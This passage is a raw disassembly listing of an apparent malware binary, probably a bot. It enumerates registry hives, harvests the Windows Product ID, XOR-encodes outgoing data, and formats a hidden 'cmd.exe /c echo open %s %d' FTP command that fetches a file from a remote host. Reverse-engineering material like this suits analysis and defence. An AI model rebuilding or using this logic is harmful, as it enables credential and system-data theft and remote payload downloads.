		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017E4
		mov	ebp, dword_50F724
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_43581C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BBB+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_43581C:				; CODE XREF: sub_4356F0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2A70000h
		nop
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435904
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BAF+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_435904:				; CODE XREF: sub_4356F0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2A70000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_4359EC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_446BA4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_4359EC:				; CODE XREF: sub_4356F0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2A70000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435AD4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_435AD4:				; CODE XREF: sub_4356F0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2A70000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017E4
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_435BBD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_435BBD:				; CODE XREF: sub_4356F0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_435C61
; ---------------------------------------------------------------------------


loc_435BC7:				; CODE XREF: sub_4356F0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435C67
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		call	near ptr 2AA01C7h
		nop
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 2A50000h
		test	eax, eax
		jnz	short loc_435C5C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_435C5C:				; CODE XREF: sub_4356F0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_435C61:				; CODE XREF: sub_4356F0+4D2j
		call	near ptr 2A70000h
		nop


loc_435C67:				; CODE XREF: sub_4356F0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4356F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435E00	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_435E1D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_435E13:				; CODE XREF: sub_435E00+1Bj
		cmp	[eax+edx], cl
		jz	short loc_435E21
		inc	eax
		cmp	eax, esi
		jl	short loc_435E13


loc_435E1D:				; CODE XREF: sub_435E00+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_435E21:				; CODE XREF: sub_435E00+16j
		pop	esi
		mov	al, 1
		retn
sub_435E00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435E40:				; CODE XREF: ___:00401429j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		call	near ptr 71AB2B66h
		nop
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_446BC7+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_435EFC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_435EFC:				; CODE XREF: ___:00435EF3j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_435F3E:				; CODE XREF: ___:00435FB7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_435FB9


loc_435F7E:				; CODE XREF: ___:00435F4Cj
					; ___:00435F5Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_435FB0


loc_435FA3:				; CODE XREF: ___:00435FAEj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_435FA3


loc_435FB0:				; CODE XREF: ___:00435FA1j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_435F3E
; ---------------------------------------------------------------------------


loc_435FB9:				; CODE XREF: ___:00435F7Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4360A0:				; CODE XREF: ___:00401D61j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BC7+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436152
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436152:				; CODE XREF: ___:00436149j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436194:				; CODE XREF: ___:0043620Dj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_43620F


loc_4361D4:				; CODE XREF: ___:004361A2j
					; ___:004361B2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_436206


loc_4361F9:				; CODE XREF: ___:00436204j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4361F9


loc_436206:				; CODE XREF: ___:004361F7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_436194
; ---------------------------------------------------------------------------


loc_43620F:				; CODE XREF: ___:004361D2j
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436300:				; CODE XREF: ___:00401FE1j
		mov	eax, 200Ch
		call	sub_436840
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	sub_5EA1BD
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BC7+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436402
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436402:				; CODE XREF: ___:004363F9j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436444:				; CODE XREF: ___:004364BDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4364BF


loc_436484:				; CODE XREF: ___:00436452j
					; ___:00436462j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4364B6


loc_4364A9:				; CODE XREF: ___:004364B4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4364A9


loc_4364B6:				; CODE XREF: ___:004364A7j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_436444
; ---------------------------------------------------------------------------


loc_4364BF:				; CODE XREF: ___:00436482j
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4365C0:				; CODE XREF: ___:00401910j
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_446BC7+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43663D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43663D:				; CODE XREF: ___:00436634j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43667F:				; CODE XREF: ___:004366F8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4366FA


loc_4366BF:				; CODE XREF: ___:0043668Dj
					; ___:0043669Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4366F1


loc_4366E4:				; CODE XREF: ___:004366EFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4366E4


loc_4366F1:				; CODE XREF: ___:004366E2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43667F
; ---------------------------------------------------------------------------


loc_4366FA:				; CODE XREF: ___:004366BDj
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367C8	proc near		; CODE XREF: SEH_4034E0+5j
					; SEH_4036D0+5j ...
		nop
		jmp	near ptr 77C227FAh
sub_4367C8	endp

; ---------------------------------------------------------------------------
		align 10h
byte_4367D0	db 90h			; DATA XREF: ___:off_43E004o
					; ___:0043E018o ...
		db 0E9h, 37h, 0F7h
		dd 0E990777Fh, 777E573Ch, 2BE5E990h
; ---------------------------------------------------------------------------
		jg	short loc_436859

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367E2	proc near		; CODE XREF: ___:00406BE0p
					; sub_406C00+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_4367E2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0A2h, 12h
		dd 0E9907781h, 7781146Ch, 14EBE990h
		db 81h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367FA	proc near		; CODE XREF: sub_406C30+47p
					; ___:00406CCAp ...
		nop
		jmp	near ptr 77C29CC5h
sub_4367FA	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E1h, 0ACh
; ---------------------------------------------------------------------------
		jle	short loc_43687D
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E1D4
		retn	4
; ---------------------------------------------------------------------------


loc_436811:				; DATA XREF: ___:off_43E1D4o
		push	esi
		mov	esi, ecx
		call	sub_436BCC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_436827
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx


loc_436827:				; CODE XREF: ___:0043681Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


